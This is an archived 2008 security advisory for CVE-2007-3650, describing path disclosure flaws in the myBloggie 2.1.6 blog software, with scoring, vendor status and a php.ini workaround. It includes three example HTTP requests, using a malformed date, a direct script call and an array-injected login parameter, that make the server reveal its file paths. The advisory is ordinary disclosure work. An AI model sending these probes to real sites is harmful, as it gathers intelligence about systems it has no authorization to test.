advisory0039 · CVE-2007-3650 · published 2008-06-30

myBloggie version 2.1.6 Multiple Path Disclosure Vulnerabilities

archived risk: medium

Current status

This advisory describes a vulnerability from 2008. It is not in the CISA Known Exploited Vulnerabilities catalog and there is no active remediation deadline. The page is kept online because other security databases link to it.

CVE reference CVE-2007-3650
In KEV catalog no
Affected software myBloggie version 2.1.6
Captured from netvigilance.com

Original document

Reproduced as it was published, including the advisory numbering, scoring and the disclosure timeline used at the time.

converted from html as published 2008-06-30

Description:

myBloggie is considered one of the most simple, user-friendliest yet packed with features Weblog system available to date. Built using PHP & mySQL, web most popular scripting language & database system enable myBloggie to be installed in any webservers.

Security problems in the product allow attackers to gather the true path of the server-side script.

External References:
Mitre CVE: CVE-2007-3650
NVD NIST: CVE-2007-3650

Summary:
myBloggie is weblog system built using PHP & mySQL, web's most popular scripting language & database system which enable myBloggie to be installed in any web server.

Release Date:
June 30 2008

Severity:
Risk: Medium

Access Vector: Network
Access Complexity: Low
Authentication: None
Confidentiality Impact: Partial
Integrity Impact: None
Availability Impact: None
CVSS Base Score: 5.0

Target Distribution on Internet: Low

Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated

SecureScout Testcase ID:
TC 17970

Vulnerable Systems:
myBloggie version 2.1.6

Vulnerability Type:
Program flaws - The product scripts have flaws which lead to Warnings or even Fatal Errors.

Vendor:
myWebland

Vendor Status:
The Vendor has been notified April 9th 2007, but did not respond.

Workaround:
Disable warning messages: modify in the php.ini file following line:
display_errors = Off.

Example:

Path Disclosure Vulnerability 1:

REQUEST:

(PHP <5.0.0 and Windows Hosting are required)

http://[TARGET]/[PRODUCT DIRECTORY]/index.php?month_no=2&year=10000
REPLY:
...
Warning: mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT DIRECTORY]\calendar.php on line 28

Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in [DISCLOSED PATH][PRODUCT DIRECTORY]\calendar.php on line 28

...
Warning: mktime(): Windows does not support negative values for this function in [DISCLOSED PATH][PRODUCT DIRECTORY]\calendar.php on line 44

Warning: date(): Windows does not support dates prior to midnight (00:00:00), January 1, 1970 in [DISCLOSED PATH][PRODUCT DIRECTORY]\calendar.php on line 44

...

Path Disclosure Vulnerability 2:

REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/common.php
REPLY:
...
Warning: preg_replace(): Empty regular expression in [DISCLOSED PATH][PRODUCT DIRECTORY]\common.php on line 79

...

Path Disclosure Vulnerability 3:

REQUEST:
http://[TARGET]/[PRODUCT DIRECTORY]/login.php?mode[]=login
REPLY:
...
Warning: htmlspecialchars() expects parameter 1 to be string, array given in [DISCLOSED PATH][PRODUCT DIRECTORY]\login.php on line 39

...

Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com

Original URL: /advisory0039.html · preserved at the same address

Why this page still exists

Advisories published between 2004 and 2015 are referenced by vulnerability databases, academic papers and mailing list archives. Removing them would break those references, so every advisory keeps its original address and its original text. Nothing on this page has been rewritten to match current practice.